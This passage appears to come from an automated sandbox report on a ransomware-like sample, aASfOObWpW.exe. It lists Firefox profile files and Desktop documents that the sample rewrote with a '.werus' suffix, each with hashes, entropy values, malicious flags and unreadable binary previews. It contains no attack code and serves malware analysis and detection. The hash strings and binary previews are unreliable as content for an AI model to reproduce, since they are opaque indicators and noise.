SHA-512:	F36D5E99212E810D152449619971F5384A15913CE583E1E0B16D77D4B9A2CFBC61B5AC821C8221C75E8C6C314ECF62CDB31049AAAF3AEAE491EF509DF6532BD6
Malicious:	true
Preview:	"...VY6... .z..4.....=.c.. D.........._w..3>.TG.=.vQ4x=...e.V.Tk'.w!.6...t....(.q../..r...3..0..en.f3!...5j...\....."...7...i.q.gz..2...n.@ W..S]~.....K..`$.%4.&...^.v7x(...J...%U..%.K....ul.l.lC5!.@X..):...........H..o...\.O .]..rEq.....5"....r...}9.pG.-oLD..)..W.m,.N.-oTa,.6....Sr...\|.:.....n.vh...M.?Gm.K........g.P......X.7..x1.........+.d.^......9.,4...a.......u..=J9ZZ...Y..AJ...k+(.W.bt.Ic6:..I......o{.D.Z,..<..O..#.fjU/.e.O..<.Q.^.....%@Ou2.}....P;j.i......T..9%bX...b..n..M.Wo.~1<.h....5....c.].{}p.......RT6.\\|Q........#/.......S.....2...k~i.../....I.Hb.~;.7.Sq..^.EE. 35s..w.Oo..P.qa....../..H.;..=Z.H.c..F.S>......r..L...I]n......................1...a.$.#H....2.u%....F...f.66.....r....$.Y.&.I>W.q...."..f.!.9.0.:X...}...A/n..-...........Fcb.........IjGX.......!.v....MA]..5/..\G....\l..&5..Ed.....:V.`.R#w".>4...J.{.G.5W.......e.gP}...b......B...\|gp,B.x.].....O.<!..=u..\.b...zx..'\..eF./...@G.....i{{N.}.{.{.;.dYX!.g....kAj[.Sj...,.:ejZT

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\times.json.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	5.75
Encrypted:	false
SSDEEP:	3:DiL2AP3z/KPlVcGweqfFePn:Do2AL/Uz9weqfFePn
MD5:	DC5D8C62F5983C7F56CBB8CCA82DC8F5
SHA1:	D72CA4F17FB772B83468C78666B44BC4DDE2FC99
SHA-256:	2B304B1E7F4E96512CBCF27FCF27EB5A945D99470CE938EBF8004896F78805B5
SHA-512:	0D8A62AE5707AD7797B286A30A76BE524D9EF3731DEC41E7B8FFB7D5D3528750D428AE63FCC55F349FAB9A78FB9092EB24A26A62EFC84FCF134696B453F37CC2
Malicious:	true
Preview:	.7.H.........QS...w.Kd@......56.59+R.......H@...>.TK..n:.I..4.*

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite-shm.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	32784
Entropy (8bit):	7.994194258059233
Encrypted:	true
SSDEEP:	768:rj0gqKyzqbf3fiRTLtE0XtKZUW3CXmm25nNydA+zkLk8I:rYZzw3gvtE0X8GjXmm2t+4I
MD5:	BF6E71222683F9A6E5EE15506478C680
SHA1:	FC0FC4B4A8619E684B68818BDFB621CADEF66DD5
SHA-256:	8A3ADB95F980DBFD77605E37EFC8F30D67F90B99F1ABFB5F2F3FC44D2CBA9DFB
SHA-512:	C3EC8794D3B3830B3033324E0760F33EB298A6A1B2494465B3EF3C990E7E8638995EA97247B6A72B35F8333661198BA9F52EF314B8DDEA6F7F3F767A76A4813A
Malicious:	true
Preview:	....".....C.h.C)@.)v.-...Y...s..uG.......8.$.8.....G.M".D...._......m.....Xz.B._G.....{.K.s!X_3./.+..H.(.~N)."....RW.J'..`....yUv@V."6...#.U{'....u.....9.%..&/v.4u...Q+..O.t..~.?tm.1.....p.D.1lm..~@.......UUV`%.1Fz..p..vg...y.vs..BX\...-w<'..B-..3.Q..../...!..F...M..BC..\d!.+...a.}..Te.........}~P...t}\...'..v~..{..~.I...6....}....'4...X..S.]....v...R.h..K..}.K.Geq...0F@..YZ.f'....G+...a.;......Sj.0...3=z...I.n8..^..J'..N.kZ.8..9..../8m...m........g.lq.qk.>...=..5m0.[...X\~...Z.[5A.h..9........`_..!U....>..u..p......;..H..L.&M k.s3...e......oL..A...~p...W...i..J..H.,..[....S.U;.:....I.'I6.......o.-..'..iUd\&...o.L.`C.......f...yv.R.c<.. ....qs.n..d[DeU...,....+F..r...5]0.sFv..<."^$ZOts.7.....[..D.{.R/....... ...Q.A..s..+)..S...bmZ.......I....F.<..B.4<o.j...{4....A.......8.....i...4Y/..z1...&8...eS6]..p. .aRg.b.3.p..r.......8e].=...1..aaX#....F.-....gb3.Z.....4.?-..B.z ......&..].$~.WsiS..O.........J...L.V.].-0..-....Re.........=

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite-wal.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:Ze7oTPr:Ze7u
MD5:	81824B4AEC9F6B0BE6FCB7F5B0DF0A96
SHA1:	FB3F9AC4E729CB04B9D0B9E403CB36B956989E26
SHA-256:	50A3A28BC237269F33D8695BEE16D6E2E62042D1AF549E743E6AD771E7AC3798
SHA-512:	E5F23360D1F4B7C23D0C2FE5C8B4ACFC1E600C9724B99CCFFACB7AC8B3E0758DB98CE3F15E6CB20134EB66FF4948F2803506DB855DB22D020042C9DC2FAA784A
Malicious:	true
Preview:	.......u...Q..N

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	98320
Entropy (8bit):	7.998403392654534
Encrypted:	true
SSDEEP:	3072:XP+f60G9ZTWhcLvLY891fiRXXLbqmXWK3WD1YQUG:XP+W9U+zlyH7XVeYQUG
MD5:	309C3612E2E6EBB63DDD3794FB56A051
SHA1:	989D4EC40BB289BE9E98AED0607F91FA7A9D2900
SHA-256:	B598AF2F1F0D2E518A3A2EBBEA341DDA890612E1C171B9300CC5B0F4E20E401D
SHA-512:	8EF518CE97BCFB32A42980AC5274DF2FD5BBA325053083374561425C0BC9CA3F9478D0730E4A559AAFEBC08A2349A3FA7A1456A6E7059FA97F4AEB499ACF43BA
Malicious:	true
Preview:	...-n.fF...wG..........5Us.q.......W.AMt...y..s.G.(.0>...n-.".7..R".f..:.s.y.H;.AD.ri..K..=[.1q..\.D...L...Y.R....G<.z....s....8u.%f~...zO...r..g.i..i.;P..Y4}@...v..!&.2hw.,.A..o....-."?X.....H ,$mM...o1..02!.z.......W^z.;G......C._l=#,.W...,f.........,..........D...xYq...#.v...R./......Id6..,..;..~`.X{..`..7?.%...dCa...W.{i.)...i.>.2.(Suw.....j....l.u......M~=.o.N._f#...V.3.XHpx_..P=-..[.x...........T.\.HyL.R@.......Q.D.E..3......I?p1.9...!k/-..8.....(..........Y...&}a.2..tH..nF..%...'je..y].dz. .q.{dD....S...1..}y.......+......-.u.$..n.2:r..;L.zz..._.f..........<'..%..3..c.\|.,..R...=.`<C.......K.cP......n...f%.....`........{..N...2.q..j.....;.H.............z.4...?D.^.n..W...hd../....,{.5r..g..e...d\|...cL..~.V`..G:aV.E\.H.......+G.......^B'.r..(..^_..Q.SS.IA_?].Q.G(K.f...A..N..$.}..N...1....uR..4c.R.....~U;N..L...F.l.i....l..[.~..s..d......1.z.._;..I.3....50>.D.P..d..........,]..zl...x,-.6!...6].S?_Be..#E....Y.;sE..[.L./..>..?10.0.3

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\xulstore.json.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	6.615935852061648
Encrypted:	false
SSDEEP:	3:i8Tnp/6ULtRe6lGKXs4mG5YO5qrlDwQfE9/8RiUscr:lrp/zq7KXs4xCAMRZ
MD5:	CD37DEABD5151FE96077D03A566758A1
SHA1:	132222D8BBF2C9077B9AA45CD5E0BF7EBD3807C2
SHA-256:	05134D0FCE56FA79333CADC2BF051BB35A262ADC9DF7FB3F9D6E90E445FB82C3
SHA-512:	D6B9ED87B3EA12479D58F0E89B9B338F90FE509C1444E30ACDB200556B3647CCA72FA57D2617D37027CEBBD140082AEB601A8B897652218EB4C4D8F116BAF3BD
Malicious:	true
Preview:	S.(e.z..>....8..~.a].U....8........Xf..a>.p..<....QF.#.w\|V.r.[.4V].....G..!>I....A........~Ah....v....P='2~.....`....._..G>)J.2D.......(BC9

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\times.json.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	5.360902344426087
Encrypted:	false
SSDEEP:	3:Cpf33cWbgdMjzX7D:CpfMRdMjzLD
MD5:	123756A23B212F651F77A7D0CBB7ADC0
SHA1:	85075E5DDE74E6793A43CDD2306D06C006324E1A
SHA-256:	1BA3D9603F946F32D60706D76977F820B380AF4B2AA1C46C90005585D15A7BA8
SHA-512:	63CC022FFFDC2542F138B14DEB2F56693CD52F0A142DAFAFC878B844FDEF25DF86A4650484A0A4351D921B78D1BDFAB24F2E02E0D645FC47F752B7010F40A577
Malicious:	true
Preview:	6.z.L.3..R>Awi...3>...qh......M.X.....}1.}r'..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\installs.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	6.04692809488736
Encrypted:	false
SSDEEP:	3:PVwbWVQDpM/i6kaUryWNE0aRV:9/wTWWNUV
MD5:	E911CA0FCFB2AE83EA92B9F5C3ED1F50
SHA1:	9F371779CC32A6A38522D57F133974AEEEC75F39
SHA-256:	A7F307C63C2E8B21DE9814BE8717EC77A4827D9C6D9C672C71034EED39A0DAA9
SHA-512:	3BBE8F6C41EC9682AB64FBA2F5843FCF80F9DE94AF9CE7BDB55287B2C5841B1B0363EF2AE59174498E9CAF3676391BE750510B9DD03D2CDB146F76538B979DE8
Malicious:	false
Preview:	.c...K.......Y)....qJ...l$....o.....[D3....g.*..&..;..a.......W.u.X....HZ\|~h

C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	320
Entropy (8bit):	7.382610302704123
Encrypted:	false
SSDEEP:	6:iSZpNhcYn/UeaOYsL6d8iOfuky/gx2qfP6dPXHrHCgr6qiIi+ODQhLzq7:FhcY/UeDZL6d96tWcPebvrfigOD/
MD5:	1DA0B327BEA16F9658C17AEBEDCDFE58
SHA1:	F539444C2A567B2F6D2E25C5DBA9F1A5F0817DAB
SHA-256:	E1A124E99047D4FC8FA6262B317013B8930F520D75A60D809A20C72A5A0A113E
SHA-512:	CE412B3D3571A2FE1A5FDF6A80FF1D2B0D0936A8BE9B8E9D331A3FBC2C39133FD54DE6750F6B59B37C56C29935B908675EC8FB378A81C807C2364DCA6B076998
Malicious:	true
Preview:	.s.&..F.........C.:o~c.&.O3.^.t.EZ.Y..f.......,L4J...n.z.d.kY....,.w9c....2_.&.=..w..cw.=6..n.j{..6..{.kj...,D....1+..."`q...%i~C.+...0<...+...y.4....l....+.......V..VeD..Y.Xf.Y..On..%4..8....E....6.).8....NU."9..........6i.r..K.....r+@..G...sr..>...........!;;'.U.fa.\|.vv..DO.."..].......f..w..

C:\Users\user\AppData\Roaming\_curlrc.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.75
Encrypted:	false
SSDEEP:	3:u+nMn:uuM
MD5:	B136E29098572EA049E145893D0E6B10
SHA1:	1932224786075AFECC589E6B723AE8B5D374A4EB
SHA-256:	64786179198DB6A1C8EEA3CE725389EB20CFFC83C942035EDD06DB7785BA16E4
SHA-512:	36223B2F54880DD9F96EB35EAF6F55B15681A2CB69530AA5877A19267190D1FA18C994C0888982DB06D79CCCAD7EF8ADEC6E5F9CE0265CF25299C3B1FFB368AF
Malicious:	false
Preview:	......u].......

C:\Users\user\Desktop\BJZFPPWAPT.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815394976977743
Encrypted:	false
SSDEEP:	24:UY5YgVIssmlpFcqRJXQgsRmWwJckY1XOV5H5rm/+RyiTbl7rQyPq:F5YgVI1mPFzRzsn+KePH5rYcyqbl7rdy
MD5:	6E5BFC1E872E4925BF62C70242D73D4C
SHA1:	58C7852A21348D4FECB8A7971D1E85B26777E9B3
SHA-256:	5CAC4025AC87F1446CE2F1C72DF506097FA65CB25974A92C7B09C7C9400EAD61
SHA-512:	97DFAB9B444D44D19D3ED0DCE9B7CDF0E4E8DD44DB7A1F239E2E614BF4EF33ADCC1280CE6AE9D00C63B7A6DBB23B06BFB3ADAC04A495C883D8865F175C3CA465
Malicious:	false
Preview:	"k>$n..<........P.^.\|.Y....U...p'...gj.J.?....W...$.hU.[.).@.n..P.I.'..O".....CB~..dnqU.w0B.J.O...w..!.._....vH7....h..j.... ....V.....7......w..0..\|...n..# .. W..B..=S...V.mH..Q.~=.v.....\+2...q.h...o.C...lD.....C....q8v..5f`.....}...U9:v.2.&A.H'.. ...j.t.E&.C1f.."....D6.........X.wM..D...@.p.....I..{K.z7...zv?.!^X^..+&.vd..0.X...(t. ..0]7.].9{..4....U)I?.1HQ3..{D@.r/.2}.......dVc.....L.}...Q..0..j...s.2....>..{.BV..;K..&]...`..A.X&...f.....p.h.......I.....xK.\|..">k;&.v.-....... .1.......E}..Q...,p....Z-..X.#.t,G#Qw.<.mY.J.)...~.t..._.(....3..{.......t9..>..[...c8.>.xM..o1. .s..........Jq..b..`T]0..8..6..!.ve...a&.hS......j...b.C..yL..n..dT.$....A...`.6D...X@p.N.q~.;......M....f.1..........cT.X."S..............1L..\|E.O6.Elf..xt..Q.D...f .D.bA.4..*....V..`.V..\....O.. .CS).......Y...d.F..;.w..$..q).-.m[...l#..\Q.v.#A..wav.V.V...q..v.....,.=..^...(..`Y9....>.K.p+.............]....}Y..(..A.o.\|....N.d...8r.o.&..d..l..#D7J..l.E....J.L..gJIj~y.s

C:\Users\user\Desktop\BJZFPPWAPT.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815394976977743
Encrypted:	false
SSDEEP:	24:UY5YgVIssmlpFcqRJXQgsRmWwJckY1XOV5H5rm/+RyiTbl7rQyPq:F5YgVI1mPFzRzsn+KePH5rYcyqbl7rdy
MD5:	6E5BFC1E872E4925BF62C70242D73D4C
SHA1:	58C7852A21348D4FECB8A7971D1E85B26777E9B3
SHA-256:	5CAC4025AC87F1446CE2F1C72DF506097FA65CB25974A92C7B09C7C9400EAD61
SHA-512:	97DFAB9B444D44D19D3ED0DCE9B7CDF0E4E8DD44DB7A1F239E2E614BF4EF33ADCC1280CE6AE9D00C63B7A6DBB23B06BFB3ADAC04A495C883D8865F175C3CA465
Malicious:	false
Preview:	"k>$n..<........P.^.\|.Y....U...p'...gj.J.?....W...$.hU.[.).@.n..P.I.'..O".....CB~..dnqU.w0B.J.O...w..!.._....vH7....h..j.... ....V.....7......w..0..\|...n..# .. W..B..=S...V.mH..Q.~=.v.....\+2...q.h...o.C...lD.....C....q8v..5f`.....}...U9:v.2.&A.H'.. ...j.t.E&.C1f.."....D6.........X.wM..D...@.p.....I..{K.z7...zv?.!^X^..+&.vd..0.X...(t. ..0]7.].9{..4....U)I?.1HQ3..{D@.r/.2}.......dVc.....L.}...Q..0..j...s.2....>..{.BV..;K..&]...`..A.X&...f.....p.h.......I.....xK.\|..">k;&.v.-....... .1.......E}..Q...,p....Z-..X.#.t,G#Qw.<.mY.J.)...~.t..._.(....3..{.......t9..>..[...c8.>.xM..o1. .s..........Jq..b..`T]0..8..6..!.ve...a&.hS......j...b.C..yL..n..dT.$....A...`.6D...X@p.N.q~.;......M....f.1..........cT.X."S..............1L..\|E.O6.Elf..xt..Q.D...f .D.bA.4..*....V..`.V..\....O.. .CS).......Y...d.F..;.w..$..q).-.m[...l#..\Q.v.#A..wav.V.V...q..v.....,.=..^...(..`Y9....>.K.p+.............]....}Y..(..A.o.\|....N.d...8r.o.&..d..l..#D7J..l.E....J.L..gJIj~y.s

C:\Users\user\Desktop\BJZFPPWAPT\BJZFPPWAPT.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815394976977743
Encrypted:	false
SSDEEP:	24:UY5YgVIssmlpFcqRJXQgsRmWwJckY1XOV5H5rm/+RyiTbl7rQyPq:F5YgVI1mPFzRzsn+KePH5rYcyqbl7rdy
MD5:	6E5BFC1E872E4925BF62C70242D73D4C
SHA1:	58C7852A21348D4FECB8A7971D1E85B26777E9B3
SHA-256:	5CAC4025AC87F1446CE2F1C72DF506097FA65CB25974A92C7B09C7C9400EAD61
SHA-512:	97DFAB9B444D44D19D3ED0DCE9B7CDF0E4E8DD44DB7A1F239E2E614BF4EF33ADCC1280CE6AE9D00C63B7A6DBB23B06BFB3ADAC04A495C883D8865F175C3CA465
Malicious:	false
Preview:	"k>$n..<........P.^.\|.Y....U...p'...gj.J.?....W...$.hU.[.).@.n..P.I.'..O".....CB~..dnqU.w0B.J.O...w..!.._....vH7....h..j.... ....V.....7......w..0..\|...n..# .. W..B..=S...V.mH..Q.~=.v.....\+2...q.h...o.C...lD.....C....q8v..5f`.....}...U9:v.2.&A.H'.. ...j.t.E&.C1f.."....D6.........X.wM..D...@.p.....I..{K.z7...zv?.!^X^..+&.vd..0.X...(t. ..0]7.].9{..4....U)I?.1HQ3..{D@.r/.2}.......dVc.....L.}...Q..0..j...s.2....>..{.BV..;K..&]...`..A.X&...f.....p.h.......I.....xK.\|..">k;&.v.-....... .1.......E}..Q...,p....Z-..X.#.t,G#Qw.<.mY.J.)...~.t..._.(....3..{.......t9..>..[...c8.>.xM..o1. .s..........Jq..b..`T]0..8..6..!.ve...a&.hS......j...b.C..yL..n..dT.$....A...`.6D...X@p.N.q~.;......M....f.1..........cT.X."S..............1L..\|E.O6.Elf..xt..Q.D...f .D.bA.4..*....V..`.V..\....O.. .CS).......Y...d.F..;.w..$..q).-.m[...l#..\Q.v.#A..wav.V.V...q..v.....,.=..^...(..`Y9....>.K.p+.............]....}Y..(..A.o.\|....N.d...8r.o.&..d..l..#D7J..l.E....J.L..gJIj~y.s

C:\Users\user\Desktop\BJZFPPWAPT\CZQKSDDMWR.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815370617293262
Encrypted:	false
SSDEEP:	12:kyoPdLDVGi3LUNtZ6uACFgf21+P7CzLrfx41+Oxi4IhL/g4osk+hHn+QZSD9A9CY:matzXACFDrfx4BFIdFA+mDxX4Rpmgz
MD5:	81D96279964195CEA0AD89BFBA1920BB
SHA1:	B5C3E8FD1EB2600F716CCB2F0C252EA0B2D24B66
SHA-256:	D4FF4A5D196FD63E8242621F729086F9493090F47D537E7567743CC017E0278B
SHA-512:	3848983319C48B75C68368A87E914CEF365DD6EA61408258C88BE13D5E5CCE964BC37006E827436A52D8CFE2424A93AF447AB65038C58E8774AAA79B81006036
Malicious:	false
Preview:	[>.......X..X:<.F6.h.J...8._..P.. .=W...TVL.s.(.sA.v.'..b.D2..s..I..\.\|.(. ...3x.o.p.}.t.Rv.7..a..p.p.f.VMYxz2..C.6.".......W""...%...D...`%B.......I.w_....i.\D..\.s.?....>_!........b..~`k..=..d+2..KN..=....'h....u!.&.;T....i.K...{...-..C}p..xs..$.p...l2...W.e........3.8........y.G."a.,.f..C..u...@.&....m..3...8.&T1...b..d.I.K..M....(...}2...K&w."...p..2.D.{-.v.c...s.....s..........7......1..'..+.b"....P...E...}....'z...&b=.Jjw.. r(r...?.N.7.X=`..U..5.l.."K}......f?..d..f.(.A..=.W......A....Z5%!x........q..S..?}........c...^Bv.s..E..>.!2..}....._...(...f'T.m3J,*.e\|..k.:y7..}.......Y.UL].....m.+Om~&V2..\..A):......'...bY...=.....o.&..,{....Tj....f....M.@...:%f....p=...^....a..{..f......:......@....+=?.-.c..g.P...7h..j........PU<U......;..I.V..,<.g".W..0L+...z..8[$.^.......5....E....G..n..<s........-......`h.n.:...Tq...MO..}H.^^=.......q...I.:1..._..M..H.o.C..f.B..i.(Q..A.;..o..&:.Y .(.. >..0.u.2pq....JWj~.U.'.....c.x.....>.mA..;.f.v^$9.vU.

C:\Users\user\Desktop\BJZFPPWAPT\EOWRVPQCCS.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.816229943529569
Encrypted:	false
SSDEEP:	24:g5bN7uH2HOsIFflAiUBqlgI/YVuXUh4rE0G4678y3s5HSYzPVHEFIE6:g5mwgFflAjhuXUh4jZ6YOYzPlE8
MD5:	09BAFFA35D5CD9CCD242D501EA3B28E7
SHA1:	193B15EF4A5DEF2E5A3B0552D3FBF58C3BC0CA34
SHA-256:	9E4030950DB271B069C310A58496B1A40190BB112EA7D4EFAB2C2CBCC65B1DE6
SHA-512:	9F7B70ECCCFCFB4A70D225BD1C855F31DE7C9E31207C1D3FCCEBF6A11CA33396D630BA0B0A2355DE5B52C1407901B84D1CCEB68A27155CB80EF99E6C90234AF8
Malicious:	false
Preview:	.M.Kf.....@......2.18.c..C.S.".o.lm+..}(8.=...$..s....f...gcu.7..c...-O..%J......l..bs..I ...5:.6..C.../e.a...%.....!....Q.}:.X...A..../.4.q....f..o!.Z.r....o....VC.._s.~.g......\|.....P..F........._!&...I....Y,..\..Y.....R.T..6............ .y...0......\|....&M..Ix...oS....J..'.D..d..o.......(.U7S.x..W's....+..p..?.=a..b........fh....z.....im..q.rF../Nk..BO.`..l.... M?.......KE41......[....hT..'2.iJWK..../(...ac.......z..0.$i..oW...M?\s...;..y_.x.@..Y..(..t.4......~.j.._....<.Nwu..v..tI..W(.Z.v=.?.X..'.l..wt:,)M.lt.RF...[].y?.&.6....H..\|...mer.....4.....n=.Z.].f...ju@.....by\|..2.c..."..-h.,^5%.'Pd].".^.^...6U.Ip..d..7...B.^.pQ...ph...R-"F..e(..........P.B.g...A.R...).%F.....M..g.TM/!.Z.UCh]...m.....T\|..R.......P.9& .\...H...j.M...6......J.5..'D ...OP8..>v+...H*....y;B.j#....L?.[2/<`H.~..`g`....d....\G.v.xp[.AX...kF.....F.....r...jg.A..@..7.C)D..(r..#Zz6.tR..H2...Z.VY.{.......\|..$..:w.......=.....!d8.o^..\qP@`.Af..R...w......

C:\Users\user\Desktop\BJZFPPWAPT\EWZCVGNOWT.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	PGP Secret Sub-key -
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.79065821242137
Encrypted:	false
SSDEEP:	24:BcAdU2KB//CBVMAXn+f3LUIaU7+uL31kpFlPktxMXj/0f6pnMCoEfg5utW1w:t4/CoUKbUILHL3+fvX2nMg5utB
MD5:	9DEED8F2F1F373304403D616CC9E0594
SHA1:	7CD414ED3C387C574D7C75338331181B0BBB28DB
SHA-256:	B96E0EBE92206DDEC44A71DDF2C8ED0A6AB80C958CDA64D0EC73815A094304A6
SHA-512:	41213B2E77147AF4CA92FD223B95BD5DFA7C8EF4890BDCB37AF27189DCC83D2820DB393B75DC882FDE1DC7F17403EF990FEA9B0C0C3F988B2791F705CD2F1185
Malicious:	false
Preview:	...+ad).U.MC^BQ....I.d.F...S.,...J.oy...y......%'..S.....8d..[.3.+..U..-m.M....rrv;..b..xB........-=....J1H..WF...R...U..T.....zn.?.5C...=].?.6/."...Xg..,}...=.s_.;..c..^..n.0...n...5M.L.V6Z......F...N$...q.\..U.rwx..V...O4r.Y..4.J.<...DIu...hue...#[.m ..v.Q.8".....V.N2........r....4..n......}7..0..x.j....'R$9M..-%.v{...@1T.3dY<_i...z..XF.U...l.o.R.@I.aU..q.y......M.g#......%....Lc.\H...O.u... .%+p;..4MJp..v... q...H.;...}.o}...jq.=..wb7.S.3..!...".M.f=.......e.,.K..).sa[..w......W..&...."....$...s._......`.5.7...E...C.@..&".{{....-.-V............X....c...YrK..J\|..!y._Y.....F.......c..2m O}....w..#\.!.....3..H..Z(yd.....V5.R.N.?nD:..c.xL.v.......{........g9..I..$.../...k..&..A./...-..Gm.&6.:F..L...`...Ax..!p.\|..8.._...vxQ/....:&@.J.X ....4.Yi4XE.}...D {....A;......i....u..#......;."5L..Lr.B<.H.}.r....cg.....4.....f...I.[c..`.X..W.2.....ac......,.v.V.~i).."..d?..AyaD-.A+...e....z...r.F..r....o..F. .y.({....4)..B....^...Z..9......1v..i

C:\Users\user\Desktop\BJZFPPWAPT\NYMMPCEIMA.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.8277762038193615
Encrypted:	false
SSDEEP:	24:YM8+bOIK1GGnm+XDv/5wMrPcX2g9UnMnZUcLhgsBZi:YM8gEVpXD5FgXYoZ5Ngn
MD5:	031933300F50E20BCD60588843998EE3
SHA1:	7A723B0021B50978ABA3187E5B620C212BFFB093
SHA-256:	D76FA1FE651504A5E45FECB28B6172DEB6811C74E88594E008861C0350801963
SHA-512:	7961A2D2397853422E68DD707746146A76641A8D2AB802555A614126D16AD304227DD46D889EEEF8D218523A54A4E7750326F233119AC3185C8049AA8903F78C
Malicious:	false
Preview:	..B..f..>>2.....tX...........t.Xc..@...E..W.#..".72s.b..7.m...j.:....b..{..~}[{...z....U.c..%1.Zp\|.F33..h?...Wq6..3....#"..tM.#u.29].T.JS..s...U.V......K.'..J..(...[..4:3.n@.d....v......5...,..d....nA/...K.:...(.r.LF.....#.#31j!x0.....M2s...$.J..;.............>.uO.0q@r?....0.4w`..\...g....2.9.A...G......4....A..a..^..IY.w..yEs4...d,.j....T.-.>R7.i.,.V...#..!...7.7..k.p...\|D`\.@mR.1...........+]..5.UW..tQ..p....s...0.D ).=..Q.=.".....;..Q.....dd.%.#G?r.;.Ar/...p9..V....[.7...p..z..a;.....t^...'....U......h.n...luj.&Ye......".$.....E..\&V.".hU#.g...`l\...._n~A{.(rLD.H.z.UR.X....1...=............1N.... ...!N.k.wy.F.K......pM..- ...V...or..Cm..N.w&..g..... Y...v.t......Z.{Y...Pv@.uG..k.x.F.t.%4.i{..?...A.....V;..o.,.;...!U.....6.c.j.g...y~...........Q...U;\|^54..'D...Y} ...Xt...vV.+.iIi.1.>"............R.-.....~Fp..AR......?..x.i..\....B;....%a.c...w..^o.C.G."y... ...f.&.....u..DS.Z...7Uj.:....i. :...G....sG^(L&.._.,B...<@'...9e..<2.

C:\Users\user\Desktop\BJZFPPWAPT\TQDFJHPUIU.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.794728995711684
Encrypted:	false
SSDEEP:	24:6NdDp2a/nsxSB1dHS/ZnncqJ3QDR1/ukfh0fr9A:6XDp26nsIdy/ZnMb/z50fq
MD5:	DD6BD2F31E9C72DB0F81E40AF4EF23F3
SHA1:	F23025881B45D703A1B8A20F906F1DC8839A426E
SHA-256:	D31682DEA2585B97BEB3C8DC8290FC5E00D42596EDFA60F696204B8C88C62C90
SHA-512:	5F5180C5CAA08C9E2441F45BE3F4D0D8155FF2F2BFC8A2AB9B48578480A3C2B3A750091C19839F7D78799355C88042878FD36CDDD715199132FA08023F63F0F1
Malicious:	false
Preview:	...j.\..U.&.8RcU...XuQ..k.:....{."f(.;.x...8.".A.1%8......m..l.P:.S:2...2c@..,,.<..RL..u{.....Fr....;X^X.e.S.i.[+.../.&.Tq.~jxC,..............PJ..#(A.,bT........5.Q....1..1..Z......!.<!....3N. ef.v...q<....B$[...p.......F~..&.@..H.......3.T7.w..\.....<8..;.U..6.q.f..h.f...\A..$..:...6jJ.Z...R.....!...t....<...r.G@..^C..z...%.\.9L2.fW..n..,J...Q..1+b.....y..........$..j.....Nx.q.E.<K...!..J.D.y.o-..bj.F.....3.j.}.d.......%+..G$..yu.R...1..,.>.>1..y....3..y..3.......V.q........fM[?<.(..0L.}.t..;}..D8.C.4...+..>...1.w.X]P(.....HU...&.\....;...?...T...f.<;....@.4.).".....wJ.^.....9.#y`.J%.xD.L.J..{.....d)...;T..\U..I.G......7...h...:)..2............w..K.w.....xv4 .!...<g..Q.Al......~.\|wf.h1.s.S..-/.[.m(.4uLc<.M.9.GW./.........R.*n&h......;+..[.z......0....A8....&.f....]I...(L.c..`....369.(O.....h@.g.[.q....^.{....N...^+n.$...l.k.\|.l..\t....k.L....7.#.6Gt.(...!.^\[........L).4.6...YT.N.{..:...E~......7.......<f2/..?.2..T........g.po....8..M...l

C:\Users\user\Desktop\CZQKSDDMWR.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815370617293262
Encrypted:	false
SSDEEP:	12:kyoPdLDVGi3LUNtZ6uACFgf21+P7CzLrfx41+Oxi4IhL/g4osk+hHn+QZSD9A9CY:matzXACFDrfx4BFIdFA+mDxX4Rpmgz
MD5:	81D96279964195CEA0AD89BFBA1920BB
